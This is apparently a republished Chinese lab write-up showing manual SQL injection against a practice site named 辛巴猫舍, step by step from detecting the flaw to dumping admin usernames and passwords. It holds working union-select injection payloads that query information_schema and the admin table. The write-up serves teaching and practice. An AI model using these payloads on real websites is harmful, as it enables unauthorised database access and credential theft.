通过SQL手工注入拿到管理员密码--辛巴猫舍

通过SQL手工注入拿到管理员密码–辛巴猫舍

靶场地址: http://rhiq8003.ia.aqlab.cn/


点击新闻页面看看
通过SQL手工注入拿到管理员密码--辛巴猫舍_第1张图片

域名后面加上了id=1,说明存在着数据库的交互

那么这里就很有可能是注入点

把这个作为我们的目标url:http://rhiq8003.ia.aqlab.cn/?id=1

进入手工注入步骤

第一步 判断是否存在SQL注入漏洞

构造and 1=1,这个语句是恒成立的,一般页面都是不报错的
通过SQL手工注入拿到管理员密码--辛巴猫舍_第2张图片

再来试试1=2
通过SQL手工注入拿到管理员密码--辛巴猫舍_第3张图片

出错,初步说明存在着注入漏洞

第二步 判断数据库字段数

在这里会使用到order by() 函数,它会根据后面的参数来改变排序顺序,比如数据库里有多个列,根据选取的列明,id,name,来排序

构造?id=1 and 1=1 order by 1 页面没有变化(order by 1表示根据第一列来排序,一般也是如此默认升序的)

再来依次构造order by 2 / order by 3

由MySQL的语法有,order by后面的数据超过列数后将会报错,因此用种方法来判断一共有几个字段

当进行到order by 3 后,页面显示错误,因此判断一共只有两个字段
通过SQL手工注入拿到管理员密码--辛巴猫舍_第4张图片

第三步 判断回显点

回显点就是在页面中能显示数据库信息的板块,比如有的网页中“浏览次数”“发布时间”等,都反应的是数据库中的数据

于是我们使用联合查询

我们同时查询这两个数据

但要注意的是,在MySQL语句中,页面一次只能显示一行查询的内容,而且是先查后显示,于是我们需要让前面的语句?id=1 and 1=1这句话失效,从而显示union select 1,2的内容

因此我们让前一个命令报错无法显示,即构造?id=1 and 1=2,后面照常union select 1,2
通过SQL手工注入拿到管理员密码--辛巴猫舍_第5张图片

这样就完全没用

必须构造1=2

通过SQL手工注入拿到管理员密码--辛巴猫舍_第6张图片

找到了回显点2

第四步 查询相关内容
1.查询表

已知2为回显点,我们只需要在联合查询时将2替代为我们想要查询到部位名称即可

可以查询当前的数据库名,将2替换为database()

构造id=1 and 1=2 union select 1,database()
通过SQL手工注入拿到管理员密码--辛巴猫舍_第7张图片

数据库名为maoshe

查询当前数据库 表名

?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
(tips:group_concat()函数是将查询结果放到同一行)

查询到的数据库名为admin,dirs,news,xss

一般关于管理员的信息都在admin表中

2.查询字段名

查询admin表的列名

构造 ?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘admin’

第一列是id,第二列是username,第三列是password

该有的信息都找到了,直接查询就行了

3.查询字段内容

构造 ?id=1 and 1=2 union select 1,group_concat(username) from admin
查询登陆用户名
通过SQL手工注入拿到管理员密码--辛巴猫舍_第8张图片

构造 ?id=1 and 1=2 union select 1,group_concat(password) from admin
查询密码
通过SQL手工注入拿到管理员密码--辛巴猫舍_第9张图片

你可能感兴趣的:(sql,web安全,数据库)